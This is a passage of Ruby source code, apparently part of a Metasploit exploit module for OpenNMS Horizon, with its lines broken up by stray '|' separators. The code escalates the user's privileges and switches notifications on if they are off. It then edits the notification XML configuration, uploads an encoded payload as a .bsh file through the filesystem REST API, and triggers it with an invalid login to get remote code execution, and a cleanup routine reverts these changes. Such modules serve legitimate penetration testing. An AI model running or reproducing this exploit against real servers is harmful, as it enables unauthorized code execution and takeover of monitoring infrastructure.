return deal_with_failure_by_mode(mode, message, 'disconnected')
|
|
end
|
|
|
|
unless res.code == 202
|
|
message = 'Received unexpected response while attempting to update the configuration.'
|
|
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
|
|
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
|
|
end
|
|
|
|
[true, 'Successfully updated the configuration']
|
|
end
|
|
|
|
# This method is used to write the payload to a .bsh file and trigger the notification
|
|
#
|
|
# @param cmd [String] The command to execute
|
|
def write_payload_to_bsh_file(cmd)
|
|
# We need to write our payload to a .bsh file so that it can be executed by the notification command
|
|
|
|
post_data = generate_post_data(@payload_file_name, cmd)
|
|
|
|
res1 = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
|
|
'vars_get' => { 'f' => @payload_file_name },
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'keep_cookies' => true,
|
|
'data' => post_data.to_s
|
|
})
|
|
|
|
unless res1
|
|
fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')
|
|
end
|
|
|
|
unless res1.code == 200 && res1.body.include?('Successfully wrote to')
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')
|
|
end
|
|
|
|
# Get the payload file again to make sure it was uploaded successfully
|
|
res2 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
|
|
'vars_get' => { 'f' => @payload_file_name },
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
unless res2
|
|
fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')
|
|
end
|
|
|
|
unless res2.code == 200 && res2.body == cmd
|
|
fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')
|
|
end
|
|
|
|
print_good("Successfully uploaded the payload to #{@payload_file_name}")
|
|
@payload_written = true
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# Write the payload to a .bsh file
|
|
write_payload_to_bsh_file(cmd)
|
|
|
|
print_status('Triggering the notification to execute the payload')
|
|
# Trigger the notification by performing a login attempt using random credentials
|
|
success, message = opennms_login('exploit', perform_invalid_login: true)
|
|
if success
|
|
print_status(message)
|
|
else
|
|
print_error(message)
|
|
end
|
|
end
|
|
|
|
# Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled
|
|
# in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.
|
|
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html
|
|
def ensure_notifications_enabled
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
|
|
'keep_cookies' => true
|
|
})
|
|
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res
|
|
|
|
if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?
|
|
vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')
|
|
res2 = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'status' => 'on'
|
|
}
|
|
})
|
|
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
|
|
end
|
|
vprint_good('Notifications are enabled')
|
|
end
|
|
|
|
def exploit
|
|
# Check if we need to escalate privileges
|
|
if @highest_priv && @highest_priv != 'GOD'
|
|
# This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.
|
|
_success, msg = escalate_or_deescalate_privs
|
|
print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already
|
|
end
|
|
# Let's make sure we have a valid session by clearing the cookie jar and logging in again
|
|
# This will also ensure that any new privileges we may have added are applied
|
|
cookie_jar.clear
|
|
_success, message = opennms_login('exploit')
|
|
vprint_status(message) # _success will always be true here, otherwise we would have failed already
|
|
|
|
# Check to ensure Notifications are turned on. If they are disabled, enable them.
|
|
ensure_notifications_enabled
|
|
|
|
# Generate a random payload file name
|
|
@payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase
|
|
|
|
# Add a notification command
|
|
edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')
|
|
|
|
# Add a destination path
|
|
edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')
|
|
|
|
# Add a notification
|
|
edit_xml_config_file(notifications_file, 'notifications', 'notification')
|
|
|
|
# Update the configuration changes we made
|
|
update_configuration('exploit')
|
|
|
|
# Write the payload and trigger the notification
|
|
execute_command(payload.encoded)
|
|
end
|
|
|
|
def cleanup
|
|
return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)
|
|
|
|
print_status('Attempting cleanup...')
|
|
# to be on the safe side, we'll clear the cookie jar and log in again
|
|
cookie_jar.clear
|
|
success, message = opennms_login('cleanup')
|
|
if success
|
|
vprint_status(message)
|
|
else
|
|
print_error(message)
|
|
return
|
|
end
|
|
|
|
# Delete the payload file
|
|
if @payload_file_name.present? && @payload_written
|
|
res = send_request_cgi({
|
|
'method' => 'DELETE',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
|
|
'vars_get' => { 'f' => @payload_file_name },
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
unless res
|
|
print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
|
|
return
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Successfully deleted')
|
|
print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
|
|
return
|
|
end
|
|
|
|
vprint_good("Successfully deleted the payload file #{@payload_file_name}")
|
|
end
|
|
|
|
# Delete the notification
|
|
revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?
|
|
|
|
# Delete the destination path
|
|
revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?
|
|
|
|
# Delete the notification command
|
|
revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?
|
|
|
|
# Update the configuration changes we made
|
|
success, message = update_configuration('cleanup')
|
|
if success
|
|
vprint_status(message)
|
|
else
|
|
print_error(message)
|
|
end
|
|
|
|
# Revert the privilege escalation if necessary
|
|
if @role_to_add.present?
|
|
success, message = escalate_or_deescalate_privs(deescalate: true)
|
|
if success
|
|
vprint_status(message)
|
|
else
|
|
print_error(message)
|
|
end
|
|
end
|
|
end
|
|
end
|